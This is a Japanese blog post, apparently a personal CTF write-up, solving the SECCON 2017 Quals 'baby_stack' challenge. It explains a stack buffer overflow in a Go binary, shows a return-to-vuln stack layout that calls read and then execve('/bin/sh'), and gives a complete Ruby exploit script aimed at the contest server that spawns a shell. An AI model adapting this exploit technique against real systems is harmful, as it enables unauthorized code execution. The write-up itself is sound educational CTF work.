Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

SECCON2017 Quals baby_stack (pwn100)

途中詰まってチームの人に投げたら瞬殺で解いてくれた。(ので、終了後に自分なりに解いたwriteupになってる)

下調べ

  • Golangのnot strippedな64bitバイナリ
    • よってstatic link
  • Nx bitのみ有効

脆弱性

main.memcpyという自作の関数があり、それが利用される二個目の入力でBOFが起きる。詳しくは作問者のしふくろさんのブログにすでに上がっているのでこっちを参照(http://shift-crops.hatenablog.com/entry/2017/12/09/200440)。しふくろさんの方ではBOFの起こし方以降は当たり前のことをやるだけなので省かれている。そこであえて、これ以降のとこに着目してみたいと思う。

exploit

BOFを起こしてreturn addressを書き換えた以降に、どうやってシェルを呼ぶかだが、バイナリ中を覗くと、Syscall.syscallといったsyscallを読んでくれるラッパー関数が存在する。なので、リターンアドレスを取った以降にこれらを使って execve("/bin/sh", NULL, NULL) を呼べば良いわけだが、"/bin/sh" といった文字列はバイナリ中に存在しないので、どうにか作り出す必要がある。こういった場合、既知のアドレス(bss等)に対してreadで入力して、その後既知アドレスを第一引数に利用して、execveを呼ぶという方法を利用することができる。今回は、脆弱な関数や処理等を利用するテクニックであるreturn to vuln(どこかでこう呼んでいた気がする)を用いる。(一気にROPで繋げていけそうならそれでやれば良い。たぶん今回もROPできるとは思うけど考えるのがめんどくさかったのでこれでやってしまった)

まず最初のBOFした時のスタックの配置は以下のようにする。

| Syscall.syscall | 0x401000 | 0 | 0 | bss_addr | 8|

こうすることで、まずSyscall.syscallが呼ばれる。引数はスタックに積んであり、第一引数がシステムコール番号に相当する。今回だと read(0, bss_addr, 0x8)が呼ばれる。これで "/bin/sh" を入力してすれば既知のアドレスに書き込まれる。その後、Syscall.syscall関数はretするので次の0x401000にジャンプする。これがmain.mainを指している。なので名前の入力を再度して、もう一度前回と同じようなBOFできるペイロードで、readの部分をexecveに変えたバージョンを流し込む。今回はもう次の飛び先を考える必要がないので、0xdeadbeefにしている。

| Syscall.syscall | 0xdeadbeef | 59 | bss_addr | 0 | 0 |

実際のリモートに刺さるexploitを以下に示す。

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'baby_stack.pwn.seccon.jp'
  port = 15285
end

PwnTube.open(host, port) do |s|
  
  # s.debug = true
  bss_addr = 0x59f970
  syscall_addr = 0x496a30
  
  payload = "\x00" * 104 + "x"
  payload = payload.ljust(200, "\x00") + p64(0)
  payload = payload.ljust(408, "\x00")
  payload << p64(syscall_addr)
  payload << p64(0x401000) + p64(0) + p64(0) + p64(bss_addr) + p64(8)
  
  s.recv_until(">> ")
  s.sendline("hoge1")
  s.recv_until(">> ")
  s.sendline(payload)
  
  s.recv_until("!")
  s.recv_until("\n")
  s.recv_until("\n")

  puts "write \'/bin/sh\x00\'"
  s.send("/bin/sh\x00")

  payload = "\x00" * 104 + "x"  
  payload = payload.ljust(200, "\x00") + p64(0)
  payload = payload.ljust(408, "\x00")
  payload << p64(syscall_addr)
  payload << "AAAAAAAA" + p64(59) + p64(bss_addr) + p64(0) + p64(0)
  
  s.recv_until(">> ")
  s.sendline("hoge2")
  s.recv_until(">> ")

  puts "write execve('/bin/sh', NULL, NULL)"
  s.sendline(payload)

  s.recv_until("!")
  s.recv_until("\n")
  s.recv_until("\n")

  s.shell

end

刺さるとこんな感じでシェルが取れる。 f:id:encry1024:20171210162612p:plain

余談

最初mmapでRWXな領域を作ってhoge~みたいなことをやろうとしてしまって、ちんたらexploitを考えているうちにチームの人が解いてくれた。SECCON自体途中から始めたので早く解かなくちゃいけないのに、アホみたいなめんどくさい解法により時間を溶かしてしまった。反省、完全に力不足です。